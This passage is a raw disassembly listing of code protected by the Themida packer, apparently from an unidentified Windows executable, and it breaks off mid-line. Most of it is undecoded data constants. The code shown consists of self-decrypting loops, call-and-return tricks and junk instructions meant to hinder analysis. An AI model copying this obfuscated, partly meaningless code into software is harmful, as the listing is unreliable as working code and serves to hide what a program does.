--------------------------------------------------------------------------- loc_5EB143: ; CODE XREF: sub_5EB0A9+81j sbb edx, 4F1768E8h jmp loc_5EB0C6 ; --------------------------------------------------------------------------- dw 0A6F1h dd 3F41C449h, 5006B855h, 89FBDE49h ; --------------------------------------------------------------------------- loc_5EB15C: ; CODE XREF: sub_5EB0A9+8Dj call near ptr loc_5EB172+2 add [eax+5A98757Bh], sp neg dword ptr [edi] mov dword ptr [ebx+esi*8+40h], 6E95B527h loc_5EB172: ; CODE XREF: sub_5EB0A9:loc_5EB15Cp sub esi, 0FFFFFF8Bh sub_5EB0A9 endp ; sp-analysis failed mov ebp, 6121435h pop esi xor dh, 0F7h add esi, 5D2Ch push edi pop edi xor eax, eax mov [ebp+6121F15h], esi loc_5EB18E: ; CODE XREF: Themida_:005EB1FDj mov ebx, [esi+eax] mov edi, [ebp+61218C5h] add ebx, 5D79320Dh jo loc_5EB1A6 mov cx, di loc_5EB1A6: ; CODE XREF: Themida_:005EB19Dj sub ebx, 162C81C1h movsx edx, ax xor ebx, 7F052BF7h mov edx, ebx push ebx mov ecx, edx pop dword ptr [esi+eax] and ecx, [ebp+6121829h] movzx edi, ax sub eax, 2 add [ebp+6121D09h], ebx dec eax dec eax mov cx, 4F1Ah cmp eax, 0FFFFA380h jnz loc_5EB1FB mov [ebp+6122821h], edi jmp loc_5EB211 ; --------------------------------------------------------------------------- mov dword ptr ss:34EB65BAh, 0AF9D83B3h db 64h icebp fucomi st, st(1) loc_5EB1FB: ; CODE XREF: Themida_:005EB1DBj mov ecx, edi jmp loc_5EB18E ; --------------------------------------------------------------------------- dw 0C99Ah ; --------------------------------------------------------------------------- sal dword ptr [edx-63h], 1 mov ch, ch adc eax, 535D8705h mov cl, 87h dec ecx loc_5EB211: ; CODE XREF: Themida_:005EB1E7j jmp loc_5EB22B ; --------------------------------------------------------------------------- dw 6371h dd 6217h, 3 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5EB22B: ; CODE XREF: Themida_:loc_5EB211j jmp loc_5EB75F ; --------------------------------------------------------------------------- dd 4D9A751Ch, 0EA37D8B4h, 89D63951h, 23709FF0h, 0BF0C038Ah dd 8508E6CFh, 0E7A43D8Ah, 4E42DB28h, 0B3DB74C1h, 0E6350F5Ch dd 0F856A9DEh, 27FDDA4Dh, 8DFD1C72h, 0A26D2182h, 54390237h dd 0B9D56EBBh, 36582156h, 0C47DA4D9h, 0D73853C6h, 0D164376Ch dd 0E43CCC0h, 727D6478h, 7C93FD1Ch, 0BC097447h, 55A26D23h dd 7C3BD4BCh, 602A5D65h, 4E5947DFh, 7E0DD6BBh, 0C8B45C91h dd 4DC2CE19h, 0E8276700h, 5FF39BB3h, 3BA747DFh, 0FEE7DFA6h dd 623422BCh, 86000000h, 0BEF31C72h, 0DF5FE7A6h, 9C45B147h dd 0BCFE9DF5h, 64A22h, 0A25B0000h, 618F22EDh, 91FF1A72h dd 0B76497Eh, 9098AFD6h, 47DF5FF7h, 0D5E67984h, 5A2358B7h dd 41BDA35h, 0DF5F8BFCh, 5AEDF847h, 35E4AC75h, 194EB956h dd 9DD23D50h, 3D809F5h, 0C520C1D5h, 62FB48C7h, 6EA1ED2Ch dd 0AEFB6639h, 0F41B72F8h, 7996F6BFh, 0E16544h, 411E0687h dd 0D3FEE1D8h, 0B15E2F40h, 0D8B46D64h, 0FB93A437h, 37B8DF14h dd 9E9AB55Ch, 7283167Ah, 73203918h, 0FA23EC9Eh, 7FEA56CAh dd 6AAA3FC0h, 71624D4Ch, 0F487F21Dh, 7E637F0Fh, 0BCF5FF07h dd 6A4C22h, 0A45D0000h, 659326E9h, 0BFF41B72h, 467B94F6h dd 0AA459CB0h, 0E8DF2CE3h, 7DB25D2Fh, 870617AAh, 58A5388h dd 2C344B0Ah, 47DF5F5Bh, 0A58A1D28h, 0A1E8F915h, 22BCFC51h dd 62E6h, 5B143800h, 3849DC33h, 0BC85BA55h, 6F087DD4h dd 0C588EFEEh, 7EE92664h, 0D9084C49h, 0F29A7F0Eh, 0AA15E81Dh dd 474F665Dh, 47DF8F40h, 77A53843h, 92F5FD14h, 2847DF5Fh dd 0A174A966h, 5A6BFE09h, 651EDD32h, 1E26E52Ah, 47DF5F69h dd 977C0F1Ah, 0DF600F7Fh, 0C21F8B47h, 0BCFECBCBh, 12022h dd 14720000h, 5F92F5FDh, 652847DFh, 0AA275AAh, 2F5B6CFFh dd 0ACE2ABE0h, 26652E63h, 0A2EBB4E9h, 0A490386Dh, 7C68A83Dh dd 0F008A65h, 0AFD4CF50h, 0DB2CD922h, 0E5EE4B48h, 3884100h dd 2DE2AB0Ch, 239225F8h, 0F255E31Bh, 82B7C249h, 0ED3AD5B9h dd 0BC533DF6h, 1021B487h, 19D2917Eh, 66E7DD74h, 0D283E20Fh dd 0C8EFD467h, 89DEA9B1h, 929D4DF1h, 6A0C8C69h, 0CE613853h dd 0F23F1F6Eh, 0BE23674Dh, 0D28F44C5h, 0B1760367h, 98810D1Eh dd 8BFD5DF4h, 96BA1EF9h, 4801C02Bh, 0C396CB44h, 0F49A3330h dd 711DE61Bh, 0EBA0699Eh, 0BDF83966h, 86F197C3h, 0A058851h dd 6F72F6D5h, 726FF36Ah, 0ABF81777h, 7C93FBB4h, 0C0047CE9h dd 49D124AEh, 0E2000001h, 74A96629h, 0C14E40A1h, 0FD14002Eh dd 0DF5F92F5h, 53E6F147h, 0D190757Eh, 0F17759C9h, 4C44FD49h dd 0C6C58EC3h, 0D6411449h, 0BBF0FB43h, 26739CF2h, 0D90E018Dh dd 0F09B7E10h, 0EE17EA1Fh, 9CCF5F27h, 78AD18EDh, 21CC1599h dd 6055A26Dh, 24AE6A60h, 40B5h, 0A4AE0700h, 6FF800BFh dd 8CC7DF5Fh, 0A4254C81h, 85E27814h, 68702FA8h, 0C7DEAF1Fh dd 5EBE515Ch, 0C7DEAF29h, 2100E195h, 636B2A17h, 47DEAF04h dd 0B7D0D837h, 0C447E00Fh, 6A014EB9h, 0B4h, 335B14D4h dd 73D4A7DCh, 8F64F718h, 0C9E09F86h, 0FC32FA48h, 0CD602A54h dd 0F252E16Dh, 0E4192449h, 0DD9C731Bh, 71A66924h, 170E0B9Eh dd 0AADF305Eh, 5B3344D7h, 25677FB4h, 4F4DF257h, 14737B40h dd 674DF258h, 0F3BCF15Ch, 973F749Bh, 30E336ABh, 3C10C648h dd 60A439A4h, 0E7286681h, 4D343D9Ah, 186F778Eh, 6B4DF242h dd 828DFF60h, 78E77A4Dh, 9375F70h, 82414C50h, 0BB4EC1C9h dd 8E810DD6h, 1CC5B159h, 33545C73h, 5047E975h, 0D4DDB245h dd 0A9262EEDh, 0F34A0069h, 41B3D4DCh, 0A1A94DF2h, 4DF241E6h dd 0E7F28A95h, 5E4D98BEh, 0A83B3779h, 52085560h, 1C0A5AEh dd 0F654D6F9h, 85BAC549h, 0F03DD2BCh, 7C843757h, 4DF8570Bh dd 0CD026D78h, 0E5F6EBB5h, 0B52C40F1h, 0A6AEC5DCh, 0A9F6C7E1h dd 0A0E797A2h, 0E3A9F6C7h, 0F71877D8h, 0D43B5364h, 6FA0EE87h dd 0F11E713Ah, 0B92814BCh, 0BF0F4FD0h, 595265E7h, 0D0A3D837h dd 0CDC1D265h, 325CF542h, 59068189h, 6A75A9F7h, 1403CAFFh dd 6D000000h, 0D4DCF322h, 47DF5FB3h, 1C9CC5D0h, 0A20ADA21h dd 72E917AAh, 0F2BBF01Fh, 753E739Ch, 0F6BFF41Bh, 7C457A95h dd 0C9FE11h, 844D828Dh, 6CF040Bh, 8D568B84h, 0D4DB10FFh dd 81E38953h, 4C3h, 4BF5700h, 29000000h, 1C875FFBh, 6685C24h dd 89000073h, 0D468240Ch, 89000049h, 0BF57243Ch, 13160424h dd 4F08E7C1h, 75A2F781h, 0E7811165h, 2DD031C6h, 0F0F78147h dd 0B926BF5Bh, 25E7BCE3h, 545FF931h, 83243C8Bh, 0B85004C4h dd 8, 889F801h, 8124048Bh, 4C4h, 243C8B00h, 81E18951h dd 4C1h, 4C18100h, 87000000h, 0FF5C240Ch, 83592434h, 86E904C4h dd 0CDFFF984h, 1AA3FF59h, 0FD3F469h ; --------------------------------------------------------------------------- cmp [ebp+5Bh], eax loc_5EB75F: ; CODE XREF: Themida_:loc_5EB22Bj mov eax, 618FBF2h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 75C15B3Ah, 3C6E2384h, 69822461h, 0EE8h, 0F24B6D00h dd 43B9E26Eh, 6FC0C9CBh, 0F15E489h, 1A8Ch, 13E95300h, 6B000000h dd 0FC08AFB1h, 7A7A61EDh, 48D4B4A5h, 0DDF7A882h, 5B5F1894h dd 1860Fh, 81FC0000h, 67B0C3h, 6800h, 8B0F0000h, 3, 5AF38B66h dd 34FFC28Bh, 0CE8601Ah, 17000000h, 0BE1FD8B8h, 0FA01546h dd 0E9278E4Ch, 7, 5169B1DDh, 5EAA53E0h, 0A1D08053h, 0F596158h dd 0C181F3B7h, 303096CCh, 38B4F781h, 0C1810838h, 5E84A9B4h dd 0AE9h, 49E52900h, 0F271A19h, 81B442EDh, 3AA87DE9h, 51F88B6Eh dd 8FFE8B66h, 0DE91304h, 25000000h, 0E08C30A8h, 7BAC2504h dd 748FA1A1h, 2890Fh, 58530000h, 5703EA83h, 0CE856h, 4BBB0000h dd 2727C2F0h, 0C0D932F2h, 58580E5Fh, 830F4A5Fh, 0Bh, 5800Fh dd 9ABF0000h, 81421CA2h, 0FF9958FAh, 53850FFFh, 0E9FFFFFFh dd 0Dh, 0D1C04B6Bh, 0F1B1B52Bh, 0E0DF749Eh, 0A0758211h dd 14690889h, 8DA6DC78h, 36375F43h, 35A12E86h, 0D9259086h dd 30254813h, 21AC9905h, 3F251494h, 30258102h, 0B1980786h dd 30235086h, 305EA589h, 0B5E39086h, 36375D47h, 3021CCC8h dd 0E7651286h, 0BB75A1C4h, 0BB21A0C2h, 1461CB86h, 85DA7982h dd 3637810Fh, 0B25FCD0Bh, 0E0DA2293h, 0B5E3E20Dh, 36371C47h dd 6E7EECC8h, 4A4FFAEh, 5AAC3AA2h, 0B1906F93h, 0BD235A86h dd 25A75E03h, 0BBF5ED80h, 3035B07Eh, 38CC8486h, 96254286h dd 302BA489h, 3B6C9086h, 0C0A0474Fh, 0D9DADB79h, 3025128Bh dd 7E6E940Bh, 359D8294h, 0CF254286h, 9B98AC65h, 0BD23887Bh dd 28DB390Bh, 15379C80h, 0FF0E94B6h, 0A0758247h, 14690889h dd 8DA6DC78h, 36375F43h, 35A12E86h, 0D9259086h, 30254813h dd 83AC9905h, 0A4F305E9h, 22B9h, 368D8D00h, 890618FFh dd 121C6D8Dh, 0CD8D8906h, 0E806122Dh, 0Fh, 13EEC771h, 0D6463163h dd 63807E96h, 5E84824Ch, 31BD85C7h, 699C0612h, 85C70000h dd 6120011h, 0 ; --------------------------------------------------------------------------- mov eax, ebx push dword ptr [ebp+61229A5h] push 0 push edi call sub_5EB9BF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EB9BF proc near ; CODE XREF: Themida_:005EB9B7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5EB9BF endp ; --------------------------------------------------------------------------- align 10h rol byte ptr [edx-7], 1 add al, 2Ch stc mov esi, 8B66CE78h idiv edi xchg eax, ebp and dword ptr [edi], 6A0612h push ebx call sub_5EB9ED and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EB9ED proc near ; CODE XREF: Themida_:005EB9E5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5EB9ED endp ; --------------------------------------------------------------------------- xor al, 5Bh and bx, 0F8C1h mov eax, 6D5B8AA9h push 0 loc_5EBA0B: ; CODE XREF: Themida_:005EBA7Ej call dword ptr [ebp+61229D1h] mov eax, eax jmp short loc_5EBA71 ; --------------------------------------------------------------------------- db 0F3h, 9Dh, 1Fh dd 0BE34C82Dh, 475B968Dh, 9E56DFFAh, 2F527473h, 926EA2B2h dd 82E20198h, 0E8BF804Ah, 0E2F90882h, 0D1D2E04Ah, 8A8E19A5h dd 0B1F39B5Bh, 0DAB35DA7h, 69D6C36Fh, 0F7E7EC18h, 557B222h dd 0A0A5EE41h, 460FBA3Fh, 2F96F914h, 0DD03B236h, 1F9A08h dd 5DF68A2Bh, 0F3FC06CCh db 0C0h ; --------------------------------------------------------------------------- loc_5EBA71: ; CODE XREF: Themida_:005EBA13j call sub_5EBA87 adc ch, bh cmp [esi+24CBB0BBh], cl jnz short loc_5EBA0B inc edx xor cl, [ecx-326AF5BFh] ; =============== S U B R O U T I N E ======================================= sub_5EBA87 proc near ; CODE XREF: Themida_:loc_5EBA71p arg_0 = dword ptr 4 jnb loc_5EBA90 mov bx, cx loc_5EBA90: ; CODE XREF: sub_5EBA87j pop eax mov [ebp+61220A5h], edx add eax, 7499h sub edx, edx sbb bx, 0BA41h loc_5EBAA4: ; CODE XREF: sub_5EBA87+77j mov edi, [eax+edx] mov esi, [ebp+61212E1h] sub edi, 1A8C2DF3h sub si, 0C467h xor edi, 3727FFCDh jl loc_5EBAC9 push eax sbb bh, 58h pop ecx loc_5EBAC9: ; CODE XREF: sub_5EBA87+37j sub edi, 69F69212h mov esi, [ebp+6122955h] push edi jnb loc_5EBAE2 and ebx, 6F7F5B7Fh loc_5EBAE2: ; CODE XREF: sub_5EBA87+4Fj pop dword ptr [eax+edx] xor cx, 0CDFEh movsx ebx, di sub edx, 1 and cl, 0E0h dec edx dec edx dec edx mov bl, 49h cmp edx, 0FFFF8BFCh jnz loc_5EBAA4 jmp loc_5EBB0F ; --------------------------------------------------------------------------- dec ecx cmp eax, 0FC1024C8h loc_5EBB0F: ; CODE XREF: sub_5EBA87+7Dj jmp loc_5EBB49 ; --------------------------------------------------------------------------- dd 14BDF1BDh, 0Ch dup(0) db 0 ; --------------------------------------------------------------------------- loc_5EBB49: ; CODE XREF: sub_5EBA87:loc_5EBB0Fj jmp loc_5EC485 ; --------------------------------------------------------------------------- dw 93FEh dd 0F6962F7Ch, 5733CC19h, 0BDD26BB8h, 216C0552h, 4B1A1EEh dd 1F6CA3EAh, 0BD0A0586h, 56A36C24h, 0F13ED1BDh, 0C7C0C817h dd 0B44DF85Fh, 6B2301D7h, 5147DF5Fh, 2885D23Dh, 6B73321Fh dd 49F16B23h, 0DF985762h, 0EACF62ADh, 0E4A36C21h, 45ED642Bh dd 533CB108h, 7D7A0D78h, 0A665AAE4h, 0E7B29FEDh, 25180FD3h dd 0B99E319Ch, 0BFB39EF0h, 0E4DD37CAh, 6E376CD7h, 0F2959D1Eh dd 914DF1EAh, 55E61B86h, 612A41CCh, 99F25398h, 0AD994176h dd 3ED1B934h, 0FCB55CD3h, 0A2EE818Eh, 25EAA43Fh, 0C1E3E3D8h dd 753824AEh, 8A000000h, 0DA355B14h, 2E3FD2A5h, 0DAF1B05Fh dd 0F0A06F21h, 47DF5F97h, 689D721Bh, 5FF2FD95h, 33DCB17Ah dd 469B1FFEh, 5E1DF29Bh, 0F126E9A5h, 998E8B1Eh, 22BCE239h dd 3BEEh, 1B724000h, 86C091FEh, 0F01B70FFh, 30F92E99h dd 0AA7DB25Dh, 879FD43Fh, 47DFF607h, 137C3564h, 90FEC7FCh dd 0C774A7Fh, 39B42D79h, 0D76EBB54h, 34h, 0CB444700h, 230C396h dd 2C6C9314h, 6BF6498Ah, 49C6C7D8h, 54BBD18Ah, 0FBFA8D95h dd 7E8947DFh, 26DF06EBh, 0B212A56Ah, 47DFFBDBh, 6F7A67ABh dd 0EEA4F11Eh, 1C0A5AEh, 39CC4348h, 6CF0C2CAh, 949F49F1h dd 1BF4965Fh, 0BA5535CEh, 2EFF885h, 8AB33B43h, 2AAB5003h dd 840B24EBh, 559D3033h, 816D154Ah, 0A058560h, 0EB6624BDh dd 0A838DBBEh, 98A4E3Eh, 1C02012Ah, 0FA1247B2h, 47E021BDh dd 717C6519h, 0B637F619h, 0F079267Dh, 0FD05C469h, 47DF6F8Ah dd 5E5BEEF9h, 0BBA0AEA8h, 14B89E3Dh, 5F92F5FDh, 916047DFh dd 5518656Eh, 66F9049Ch, 17D63955h, 50E32C5Eh, 16D08622h dd 25BCEACEh, 215Bh, 0A0AEAD00h, 0C143DBBh, 47DF5F7Bh dd 147FFD08h, 0F718723Eh, 9C25179h, 0CAF88B84h, 2974h dd 0A0AEDE00h, 0C143DBBh, 47DF5F7Bh, 9432CD76h, 73E741C4h dd 3E148A08h, 0DF305B14h, 0C04F3B4Ch, 2F5B1442h, 45D8ABE0h dd 5B14C513h, 394ADD32h, 47C8C455h, 0C780A7DCh, 3F1247C8h dd 0DFD14CACh, 9EED47C3h, 1C733C71h, 5BDFBEF3h, 0F235186h dd 0DA7717D2h, 0D879757Dh, 2471DC9Ah, 0D80D028Bh, 7798F8B1h dd 55BAD3E4h, 24BD4120h, 0FE4BC4C9h, 9FE8F007h, 1347E3A0h dd 0FBFC947Bh, 774A7F90h, 30DFAB0Ch, 0BF50309Dh, 518522B8h dd 0D7000000h, 0E02F5B14h, 1377D8ABh, 365869FCh, 667DA4D9h dd 0DF60295Eh, 0BC4F5A47h, 38F7DEE7h, 0CD020D7Fh, 53888704h dd 13821580h, 0F17C1F0Bh, 5E939E49h, 6E1EFB95h, 2E996CA1h dd 0B35C30F9h, 0E157ED7Eh, 0E9E2CB9Fh, 0D409D88Ch, 944F92A6h dd 12C815FAh, 0BEF31C72h, 7A392831h, 602C5B63h, 444F47DFh dd 9C3A42B1h, 0B49F15Bh, 741AB300h, 90742EDDh, 0ADD12FDh dd 924622E1h, 4BB65931h, 58B7D38Ch, 0B9E0C5h, 0D028A8Fh dd 0F9AF0FA2h, 0BBD164ADh, 3F083DD2h, 0E78FC44Bh, 0C3F1E6FBh dd 0D7B732AFh, 5AC54A42h, 0FF1A740Dh, 0BE4F848Bh, 23B3CBBh dd 0DC47B228h, 0D0111AA7h, 402DBFC8h, 46B1BCCAh, 1F687087h dd 5CCA402Eh, 6FA0F051h, 65D4673Ah, 5245B15Dh, 7CC9D4CCh dd 0BBA0AEC6h, 72B89E3Dh, 8675F31Ch, 0A91A0E8Fh, 0C561EFDCh dd 0CE160432h, 5B25BCEAh, 24h, 0BBA0AEADh, 7B0C143Dh, 847DF5Fh dd 3E147FFDh, 9BA31872h, 47DF5FECh, 9B19848Fh, 2C740351h dd 0DE000000h, 3DBBA0AEh, 5F7B0C14h, 8B7647DFh, 1393140Dh dd 5794E39Bh, 481E8D20h, 9BA31872h, 47DF5FECh, 9B19848Fh dd 8109C251h, 72CDFB8Eh, 0B334F31Ch, 5E340EC2h, 0E22D60FBh dd 0D8FFE477h, 1CEB9C1h, 0A2AD47E0h, 816EAF0Fh, 0ABBF47C4h dd 2CE3AB36h, 0C9D1E8DFh, 47E382BEh, 41CEBCBDh, 5B3243D6h dd 0D7B67FB4h, 533A0338h, 0CEBE87BCh, 62760C41h, 3CE35A7Fh dd 0CE030C83h, 82E89FA7h, 909B47E3h, 9B469225h, 0B3DC3D50h dd 2D5E275Ch, 0BF0C77E2h, 0B8DDCACAh, 441F22h, 77300000h dd 89860415h, 0E1168154h, 0AEA44850h, 83EE22C6h, 1C72C2F0h dd 2831BEF3h, 0DC727A39h, 2B49F181h, 6922EB20h, 0E2A871A6h dd 0B7FBF82Dh, 7387B52Ah, 0F41B736Eh, 0FB147C35h, 0BB746B68h dd 380B40CFh, 1C7277A5h, 0DE97BEF3h, 592C61AEh, 0F9E8F1C6h dd 0F95BB93Ah, 0E7BF0F9Bh, 0B6DF46D5h, 2FC248F2h, 9BF0A9C0h dd 4981E174h, 0B449F24Fh, 0AEA65CA9h, 0E5FCBBA0h, 0DF5FAADDh dd 0A5CED947h, 9E2BCDCBh, 558316C1h, 9314B89Eh, 440F37E7h dd 73141C9Fh, 1047DFA4h, 0F6079A05h, 86F97798h, 0EACE16D0h dd 665B25BCh, 0AD000000h, 3DBBA0AEh, 0E02F5B14h, 63ACE2ABh dd 0C7F05B2Eh, 5CC0A236h, 56C55802h, 4B06863Fh, 2FEAF10Ch dd 0E51A85B1h, 35DAB112h, 3A9A2D00h, 47DFB64Dh, 14A5232Eh dd 5F92F5FDh, 0C06047DFh, 0F2B43621h, 0CA5D6800h, 1872855Bh dd 5B1479F7h, 0D3A6DB34h, 5EF11E72h, 9314DE2Ch, 32AA244Ch dd 0E0EF8250h, 44h, 67A0AE4Ah, 9FBA57E6h, 9848DE6Ch, 47DFE4EFh dd 9816818Ch, 5F7B0C14h, 28E147DFh, 3BD4B762h, 35C83306h dd 0FE117A5Bh, 3E141593h, 38F71872h, 5F6E1921h, 20D47DFh dd 5F4C3B43h, 242F47DFh, 3516391h, 90FD1C72h, 9814A7Fh dd 0FB309B06h, 0C3DF3AE3h, 0E52A6047h, 75A4E7B0h, 598EF916h dd 0AD32AFC3h, 0D766B7Fh, 0BC533DF6h, 0E3E07B0Ch, 6AFD0847h dd 1BDA3559h, 0C115359Ah, 0E546A26Eh, 0D9D669A6h, 707161E2h dd 67864D85h, 44CBC3D4h, 0C9D1E80Fh, 47E38CBEh, 4A1FB2BDh dd 8D955441h, 49F5A255h, 40CFC079h, 9B5A65ADh, 2C61AEE2h dd 13C9C659h, 0C6C5A0AEh, 0D6411449h, 8FF80017h, 0EC47DF5Fh dd 9E204EE1h, 0F31C72B8h, 16D08675h, 25BCEACEh, 0B95635EEh dd 1C1EB184h, 5Bh, 0F7FF162Dh, 4ADF5F90h, 4F38E8F3h, 2C4ADF5Fh dd 40AB642Bh, 0A0AE7FADh, 204FD6FDh, 53BE93F6h, 7B0C14D5h dd 0E147DF5Fh, 5FC5C2CAh, 0EDB647DFh, 23C3E533h, 9326913Ah dd 14C2404Bh, 5F92F5FDh, 0E6F147DFh, 720EE453h, 838C0118h dd 0C2519A18h, 0F88B8409h, 1B74CAh, 0AEDE0000h, 143DBBA0h dd 0C44B44FDh, 5FB6D131h, 483347DFh, 723E14CAh, 5179F718h dd 305B1403h, 0ABE1AADFh, 0F15C2F64h, 0CE414D5Eh, 40F17299h dd 0C418B672h, 74A9099Ch, 0BD47C449h, 0CE4F38A9h, 7D85C0DBh dd 47E3C70Ah, 0A7456E79h, 697A0D37h, 49DEA25h, 0C350858Ah dd 40CCBBAh, 49F63F0Ah, 0FE117C7Dh, 337238C9h, 0BC35F884h dd 0E399E651h, 3DBBA0AEh, 5B14B89Eh, 0D4A7DC33h, 5F7A0D15h dd 0FE0947DFh, 0DB345A6Bh, 0E8F865Dh, 34973E5Fh, 0BFED8049h dd 0BCEACE16h, 695B25h, 14AD0000h, 1FC7D793h, 699481Bh dd 43482331h, 0BCCE97CCh, 0E04B1E53h, 0CAFF107Fh, 0B6CD8CF7h dd 0E04DD9AEh, 0C9FAA47h, 335B14DEh, 0C3DA49DCh, 0FB8E810Ah dd 0DF5FEC9Bh, 0EE76847h, 50B7E8E2h, 17226AFDh, 143E1499h dd 4ADD325Bh, 40BE5139h, 8841C251h, 0BA5536F5h, 0EE89B285h dd 54BBD054h, 4EE14C1Fh, 3C7420h, 0AEDE0000h, 143DBBA0h dd 0DF5F7B0Ch, 0D8B7647h, 0DA355B14h, 5BB4DCA5h, 55E85326h dd 5B1410E6h, 0D3A6DB34h, 0BE5B2F40h, 4C1942CDh, 3B78AAB2h dd 5153D13Ch, 0D7041C2h, 60BAE86h, 1C724573h, 0DE97BEF3h dd 5A2D62ADh, 3EE9F2C7h, 0F21D3FD9h, 9857C2AEh, 48C7C881h dd 4DAD4013h, 49F1D3B9h, 764B1BCh, 505817FEh, 5008AB85h dd 17F8924Bh, 347C0FE2h, 0E5E96A29h dd 14737B51h, 6747EB58h, 9461335Ch, 12DBC053h, 82BE3F7Ch dd 0CE5E7440h, 0D4E1A656h, 97A247EAh, 2FE8DF2Ch, 0A679AE61h dd 91C64945h, 741A2BBEh, 0AC4E669Bh, 5356DCDh, 99F5F0F1h dd 0FE902976h, 7C13DC11h, 3A53D493h, 485BC23h, 0AB4D3DBh dd 0BCC75A8Fh, 31D9BE51h, 0ED226922h, 652E5B8h, 94F9B2DBh dd 0B7D7E87Bh, 0F8189958h, 6C2EFE2Fh, 0FFF6F386h, 71A7E0E8h dd 0C9D45A8Eh, 0A6692536h, 3AA71h, 22140000h, 0F01F7234h dd 739CF2BBh, 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h dd 40B844Dh, 8B8406CFh, 10FF8D56h, 0A568D4DBh, 8900002Fh dd 0BB532424h, 4, 4245C01h, 4EC835Bh, 50243489h, 405E089h dd 2D000000h, 4, 5C240487h, 55241489h, 3209D668h, 0D5F75D63h dd 0F5B5ED81h, 0EE8996B4h, 148B545Dh, 4C48324h, 8B850h dd 0D0010000h, 48B3089h, 4C48324h, 5024148Bh, 405E089h dd 5000000h, 4, 5C240487h ; --------------------------------------------------------------------------- mov esi, [esp-4+arg_0] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp jmp loc_583BD9 ; --------------------------------------------------------------------------- dd 0A6E3C483h db 1Bh ; --------------------------------------------------------------------------- loc_5EC485: ; CODE XREF: sub_5EBA87:loc_5EBB49j mov eax, 6190924h add eax, ebp jmp eax sub_5EBA87 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 2DF4h dd 4DD864F3h, 1ADB20C3h, 4CA63A4Fh, 68030728h, 53317A54h dd 4A663BA7h, 9A255F4h, 459A1D08h, 6C14257h, 9A462E11h dd 2D663AEAh, 0D2795BDFh, 8D8D0A07h, 6190AB4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0BCC35040h, 0D9C73288h dd 2B11BD89h, 8D890612h, 6122DCDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 40C35141h, 0BD85C7F5h, 48061231h dd 6A000060h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 165DC350h, 820F25h, 0C7000000h dd 12001185h, 6, 0FD950100h, 0FF061231h, 1213A1B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0C38DDB3h, 79858B5Eh, 0FF061219h, 12278195h, 0C5952906h dd 6A06122Ah, 0D195FF00h, 8B061229h, 3B39EBC0h, 8C03D348h dd 0A4CA7045h, 75E7CAC5h, 0D23E006Ch, 7A6978EFh, 0E2E81FB2h dd 6DC55923h, 3B39FD1Fh, 79E9F754h, 423883A0h, 0F51FB5D1h dd 0D67D9C65h, 0AB0AD733h, 1212A11Ah, 7E8h, 28516100h dd 3C99616Ah, 0BE665AF9h, 0C28147C4h, 660Dh, 26258589h dd 7FB80612h, 8172A32Bh, 0A33227F0h, 11E872h, 0C7900000h dd 424814C7h, 80E3DEC1h, 0D633271Eh, 93CB259h, 121EF1BDh dd 1A8B5E06h, 732EF381h, 0B70F3A72h, 0BCC381F2h, 663CEEBFh dd 81EAA9B9h, 279D70EBh, 0B58D8956h, 89061208h, 4DC1801Ah dd 4D99EA81h, 85895D5Ah, 61215F1h, 4D95C281h, 0D9805D5Ah dd 1E8832Dh, 14850Fh, 0B70F0000h, 24E9CEh, 0E4C20000h dd 0B16FB8D4h, 0F99F726Bh, 0B533727Fh, 612029Dh, 0FFFF9DE9h dd 245C4FFFh, 0EF591D74h, 6A80AFF9h, 8D8D5F09h, 6190C9Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0EFC35343h dd 0B3E47FDBh, 0B32FD0B3h, 0CD8D8994h, 6A06122Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 39FCC353h, 52A0A2A4h, 0D78166A3h, 85C778CDh, 61231BDh dd 6D5Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 9DC35242h, 5241B44h, 0D6F2E330h, 85C7ACB4h, 6120011h dd 0 ; --------------------------------------------------------------------------- mov dx, cx clc push dword ptr [ebp+61232E5h] push 0 push eax call sub_5EC729 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EC729 proc near ; CODE XREF: Themida_:005EC721p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5EC729 endp ; --------------------------------------------------------------------------- inc ecx retf ; --------------------------------------------------------------------------- pop es test esp, edx sahf cmpsd cmc call dword ptr [ebp+6122781h] push 0 push edi call sub_5EC752 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EC752 proc near ; CODE XREF: Themida_:005EC74Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5EC752 endp ; --------------------------------------------------------------------------- or [ecx+71h], dl dec esp enter 0FFFFBD09h, 4Dh sub eax, 6A0612h call dword ptr [ebp+61229D1h] mov eax, eax jmp short loc_5EC7F5 ; --------------------------------------------------------------------------- db 75h, 0A4h, 0DEh dd 17D9C3A8h, 579785EAh, 7576B050h, 44228935h, 6408A7F6h dd 90C59A8h, 7196B359h, 94D96E8Bh, 6B7176E4h, 0CD4626B2h dd 1B464C47h, 0C9940CCEh, 0D86AB99Bh, 534C2201h, 0F3168316h dd 7D280A42h, 0D9078FCAh, 0FB2898C3h, 3CC90FE3h, 0A03518Ah dd 0F0ECB36Fh, 0FC1D293Dh, 3859ED0h, 7FA6BF5Eh, 6ED57299h dd 1ED247C3h, 0B1C2E2C1h, 0A7E4F3E0h, 1AB31D96h, 0B4C3D519h db 1Ah ; --------------------------------------------------------------------------- loc_5EC7F5: ; CODE XREF: 